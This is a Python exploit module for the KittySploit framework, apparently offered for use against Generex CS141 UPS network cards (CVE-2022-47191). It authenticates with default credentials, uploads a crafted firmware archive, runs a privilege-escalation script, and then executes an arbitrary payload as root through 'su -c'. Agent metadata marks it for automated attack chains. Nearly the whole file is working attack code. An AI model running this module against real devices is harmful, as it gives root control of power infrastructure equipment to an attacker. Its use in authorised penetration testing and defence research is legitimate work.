Generex CS141 CVE-2022-47191 - Privilege Escalation via Firmware Upload

import shlex
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.cs141 import CS141


class Module(Exploit, Http_client, CS141):
    __info__ = {
        "name": "Generex CS141 CVE-2022-47191 - Privilege Escalation via Firmware Upload",
        "description": (
            "Generex UPS CS141 below 2.06 accepts a crafted firmware archive with modified permissions, "
            "allowing a remote attacker to escalate privileges and execute commands as root."
        ),
        "author": ["JoelGMSec", "KittySploit Team"],
        "cve": "CVE-2022-47191",
        "platform": Platform.LINUX,
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2022-47191",
            "https://www.incibe-cert.es/en/early-warning/ics-advisories/update-03032023-multiple-vulnerabilities-generex-ups-cs141",
        ],
        "tags": ["cs141", "firmware", "privesc"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
    },
    }

    username = OptString("admin", "CS141 username", required=True)
    password = OptString("cs141-snmp", "CS141 password", required=True)
    firmware_path = OptString("", "Local path to the privilege-escalation firmware archive", required=True)
    wait_seconds = OptInteger(60, "Seconds to wait after triggering the update", required=False)
    verify_command = OptString("id", "Optional verification command when disablePayloadHandler=true", required=False, advanced=True)

    def check(self):
        auth_ctx = self.cs141_get_auth_context(self.username, self.password, True)
        if auth_ctx and (auth_ctx.get("ok") or auth_ctx.get("used_default_credentials")):
            return {"vulnerable": True, "reason": "Authenticated firmware workflow is reachable", "confidence": "medium"}
        return {"vulnerable": False, "reason": "Authentication failed", "confidence": "low"}

    def run(self):
        auth_ctx = self.cs141_get_auth_context(self.username, self.password, True)
        if not auth_ctx:
            print_error("Authentication failed")
            return False

        payload_cmd = str(self.payload).strip() if self.payload else ""
        if not payload_cmd:
            print_error("No payload generated. Set a valid payload before running the exploit.")
            return False

        try:
            firmware_bytes = open(self.firmware_path, "rb").read()
        except Exception as e:
            print_error(f"Unable to read firmware file: {e}")
            return False

        response = self.cs141_upload_firmware(firmware_bytes, auth_ctx)
        if not response or not getattr(response, "ok", False):
            print_error("Firmware upload failed")
            return False

        self.cs141_trigger_update(auth_ctx)
        print_status(f"Waiting {self.wait_seconds} second(s) for the firmware update to settle...")
        time.sleep(int(self.wait_seconds))

        stage = self.cs141_exec_unsafe_command("privesc.sh", auth_ctx)
        if not stage or not getattr(stage, "ok", False):
            self.not_vulnerable()
            return False

        print_status("Dispatching elevated payload...")
        result = self.cs141_exec_unsafe_command(f"su -c {shlex.quote(payload_cmd)}", auth_ctx)
        if not result or not getattr(result, "ok", False):
            self.not_vulnerable()
            return False

        print_success("Elevated payload dispatched")

        if self.disablePayloadHandler:
            verify = self.cs141_exec_unsafe_command(f"su -c {shlex.quote(self.verify_command)}", auth_ctx)
            if not verify or not getattr(verify, "ok", False):
                self.not_vulnerable()
                return False

            body = self.cs141_response_body(verify)
            print_success("Privilege escalation verified")
            if body:
                print_info(body[:1000])

        self.vulnerable()
        return True